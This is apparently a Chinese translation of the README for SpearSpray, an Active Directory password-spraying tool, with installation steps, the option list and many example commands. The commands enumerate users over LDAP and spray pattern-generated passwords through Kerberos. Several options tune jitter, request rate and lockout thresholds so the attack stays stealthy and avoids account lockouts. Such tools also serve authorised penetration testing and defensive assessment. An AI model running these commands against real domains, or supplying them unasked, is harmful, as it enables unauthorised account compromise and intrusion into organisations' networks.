SpearSpray 是一款专为 Active Directory 环境设计的高级密码喷洒工具。它结合了通过 LDAP 进行用户枚举和基于模式的智能密码生成功能,从而通过 Kerberos 执行可控且隐秘的密码喷洒攻击。
Github:https://github.com/sikumy/spearspray
# Install system dependencies (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install python3-dev libkrb5-dev libldap2-dev libsasl2-dev
# Install system dependencies (CentOS/RHEL)
sudo yum install python3-devel krb5-devel openldap-devel libsasl2-dev
# Install system dependencies (macOS)
brew install krb5 openldap
git clone https://github.com/sikumy/spearspray.git
cd spearspray
pip install -e .
git clone https://github.com/sikumy/spearspray.git
cd spearspray
poetry install
poetry run spearspray --help
pip install git+https://github.com/sikumy/spearspray.git
-d, --domain: LDAP 域名(例如,fabrikam.local)[必需]-u, --username: LDAP 用户名[必填]-p, --password: LDAP 密码[必填]-dc, --domain-controller: 域控制器的 FQDN 或 IP [必需]-q, --query: 自定义 LDAP 查询(默认:启用用户,不包括被阻止的帐户)--ssl: 使用 SSL/LDAPS 连接(端口 636)-lps, --ldap-page-size: LDAP 分页大小(默认值:200)-nu, --neo4j-username: BloodHound 集成的 Neo4j 用户名-np, --neo4j-password: BloodHound 集成的 Neo4j 密码--uri: Neo4j 连接 URI(默认:bolt://localhost:7687)-t, --threads: 并发线程数(默认值:10)-j, --jitter: 尝试之间的延迟:N 秒或 N,M 范围(默认值:0)--max-rps: 每秒最大 Kerberos 请求数。如果未设置,则不应用速率限制-thr, --threshold: 帐户锁定前尝试离开缓冲区的次数(默认值:2)-i, --input: 模式文件路径(默认patterns.txt:)-x, --extra: 通过变量注入密码模式的自定义单词{extra}(例如,公司名称,无空格/逗号)-sep, --separator: 模式中变量的分隔符(默认值:无)-suf, --suffix: 模式中变量的后缀字符(默认值:无)-s, --silent: 不显示启动横幅--debug: 启用文件输出的调试日志记录-l, --list: 列出可用的模式变量并退出您可以使用以下命令列出可用的模式变量:
# List available pattern variables
spearspray -l
这些变量可用于在文件中创建模式。
下面,您可以看到两个最简单的 SpearSpray 命令:
# Basic password spraying with default settings
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Add extra word for pattern generation
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -x "CompanyName"
--extra(-x)参数在需要在模式中使用特定词汇,或需对所有用户测试相同密码时极为实用。其效果完全取决于您在patterns.txt中编写的模式是否使用了{extra}变量。
SpearSpray 支持一系列参数,可以增强密码喷洒各个方面的定制性,并适应各种场景:
# Domain controllers might require an encrypted connection
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
# Perhaps you only want to perform Password Spraying on a specific group of users (SpearSpray allows it!)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# You want to add symbols as separators or suffixes to passwords generated by patterns
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep '@' -suf '!'
# Integrate with Neo4j/BloodHound to automatically mark compromised users as owned
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound
如果您正在执行任务,或者身处非常敏感的环境,需要控制 SpearSpray 的速度。有几种方法可供选择:
# You can try reducing the number of threads
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5
# You can try adding a fixed jitter (N) or random jitter between two values (N,M)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -j 3,5
# You can limit the requests per second that the tool makes
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --max-rps 10
您还可以将所有这些参数组合在一起。